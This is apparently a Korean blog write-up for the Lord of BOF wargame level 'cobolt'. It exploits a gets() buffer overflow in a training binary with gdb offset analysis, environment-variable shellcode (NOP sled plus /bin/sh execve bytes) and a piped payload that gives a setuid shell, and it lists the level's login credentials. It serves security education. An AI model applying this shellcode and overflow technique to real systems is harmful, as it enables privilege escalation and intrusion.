본문 바로가기

/LOB

LOB #3 cobolt

ID : cobolt

Passwd : hacking exposed

 

먼저 파일 목록을 살펴보면,

goblin에 다음 level의 seteuid가 걸려있는 것을 확인할 수 있다.

goblinl.c를 살펴보면,

goblinc.

main 함수에서 gets 함수를 사용해서 버퍼오버플로우 취약점이 있는 것을 확인할 수 있다.

ret과의 거리를 확인하기 위해 gdb를 이용해서 main함수를 디버깅하면,

main 디버깅

<main+10>에서 gets함수를 호출하고 있으며, 인자로 %eax=[%ebp-16]을 넘겨주는 것을 확인할 수 있다.

그러므로 ret과  buffer사이의 거리가 16bytes이고, 소스코드에서 버퍼가 16bytes였으므로 dummy값이 없이 모두 버퍼임을 확인할 수 있다.

그림으로 구조를 그려보면,

위와 같이 되며 16(buffer)+4(sfp)=20bytes를 다른 값으로 채워주고, 4(ret)에 쉘코드 주소를 넣어주면 된다.

환경변수를 등록하고 주소를 구해보자

 

<환경 변수 등록>

export SHELL2=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")')

 

<환경 변수 주소 구하는 c코드>

#include 
#include 

int main(int argc, char *argv[1]){
char *env;

env=getenv("SHELL2");
printf("address = %p\n",env);

return 0;
}

 

<결과값>

쉘코드 주소 = 0xbffffc5e

 

이제 payload를 작성하고 exploit 해보자!

 

<payload 작성>

위와 같이 payload를 작성하면 된다.

이때, LOB #1,2에서는 strcpy 함수를 사용하였지만 여기에서는 gets 함수를 사용하였으므로 payload의 구조가 달라진다.

gets함수는 표준입력(stdin)에서 엔터(\n)를 만나기전까지 문자열을 가져와 버퍼를 채워넣습니다.

그러므로 strcpy exploit방식을 사용하면 안되고 '|(파이프)'를 사용해야 합니다!

파이프는 아래처럼 사용합니다

(command 1) | (command 2) -> command1을 command2에 집어넣는다

 

위의 내용을 토대로 payload를 작성하면,

(python -c 'print “A"*20+“\x5e\xfc\xff\xbf"'; cat) | ./goblin

 

위와 같이 된다.

이때, ';cat'을 사용하는 이유는 EOF 때문인데, ;cat을 사용하지 않으면 실행된 shell에게 stdin은 EOF를 주게 되고, Shell이 정상적으로 실행되었다가 종료된다.

하지만 ;cat을 사용하면, python의 실행이 끝나고 cat의 작동이 끝나기 전까지 EOF가 나오지 않아, 사용자가 입력한 명령어를 보내고 종료하기 전까지 EOF가 나오지 않기 때문에 ;cat을 사용한다.

(위의 내용은 https://zairo.tistory.com/entry/Load-of-BOF-Chellange-Cobolt 블로그를 참고하였다.)

 

<exploit 결과>

성공적으로 euid가 상승하고 비밀번호를 알 수 있다!

'Write Up > LOB' 카테고리의 다른 글

LOB #5 orc  (0) 2019.11.11
LOB #4 goblin - argv[2] + NOP Sled이용  (0) 2019.11.11
LOB #4 goblin - NOP Sled 이용  (0) 2019.11.11
LOB #2 gremlin  (0) 2019.10.10
LOB #1 gate  (0) 2019.10.04